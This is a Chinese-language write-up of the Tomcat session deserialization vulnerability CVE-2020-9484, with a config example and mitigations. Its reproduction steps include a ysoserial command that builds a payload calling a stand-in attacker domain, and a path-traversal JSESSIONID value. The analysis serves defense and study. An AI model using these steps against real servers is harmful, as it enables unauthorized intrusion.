CVE-2020-9484 tomcat session反序列化漏洞分析
字数 1217 2025-08-25 22:58:46
CVE-2020-9484 Tomcat Session反序列化漏洞分析
漏洞概述
CVE-2020-9484是Apache Tomcat中的一个Session反序列化漏洞,影响版本为:
- 10.0.0-M1至10.0.0-M4
- 9.0.0.M1至9.0.34
- 8.5.0至8.5.54
- 7.0.0至7.0.103
漏洞原理
该漏洞源于Tomcat在使用FileStore持久化Session时,未能对Session ID进行有效过滤,导致攻击者可以通过目录穿越符号(../)跳转到任意目录,加载恶意构造的.session文件,从而触发反序列化漏洞。
利用条件
要成功利用此漏洞,需要满足以下条件:
- 服务器配置了
PersistenceManager并使用FileStore存储Session - 攻击者能够上传一个文件名可控的文件(扩展名不限制)
- 攻击者知道上传文件的相对路径或绝对路径
环境配置
配置Tomcat使用FileStore
在conf/context.xml中配置PersistenceManager:
<Context>
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" directory="/tmp"/>
</Manager>
</Context>
示例Servlet代码
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
Properties properties = new Properties();
properties.setProperty("org.apache.catalina.session.StandardSession.ACTIVITY_CHECK", "true");
System.setProperties(properties);
String res = System.getProperty("org.apache.catalina.session.StandardSession.ACTIVITY_CHECK");
System.out.println(res);
HttpSession httpSession = req.getSession();
httpSession.setAttribute("username", "admin");
resp.getWriter().println("success");
}
漏洞分析
Session ID处理
- Tomcat在处理Session时,会将Session ID作为文件名(自动添加
.session后缀)来存储Session数据 - 攻击者可以构造包含目录穿越符号的Session ID(如
../../tmp/test) - 系统会尝试加载
/tmp/test.session文件
反序列化过程
- 当Tomcat加载
.session文件时,会创建ObjectInputStream - 调用
readObjectData方法读取文件内容 - 最终调用
readObject方法,触发反序列化
漏洞复现步骤
-
使用ysoserial生成恶意序列化数据:
java -jar ysoserial.jar URLDNS "http://attacker-controlled-domain.com" > /tmp/test.session -
构造恶意请求,设置Session ID为目录穿越路径:
JSESSIONID=../../../../../../tmp/test -
发送请求触发漏洞,观察DNS查询验证是否成功
防御措施
-
升级Tomcat到安全版本:
- 10.0.0-M5+
- 9.0.35+
- 8.5.55+
- 7.0.104+
-
如果不使用Session持久化功能,不要配置
PersistenceManager -
如果必须使用
FileStore,应:- 限制Session ID只包含安全字符
- 将Session文件存储在安全目录中
- 设置适当的文件权限
-
在Java环境中配置反序列化过滤器
技术细节
- Session ID最大长度限制为200字节(可能限制攻击范围)
- 文件扩展名固定为
.session,因此攻击者需要控制文件名 - 漏洞利用需要知道文件相对路径,增加了利用难度
总结
CVE-2020-9484是一个利用条件较为苛刻的反序列化漏洞,需要特定的服务器配置和攻击者能够上传可控文件。虽然利用难度较高,但一旦成功利用可能导致远程代码执行。建议用户及时升级Tomcat版本或按照上述防御措施进行防护。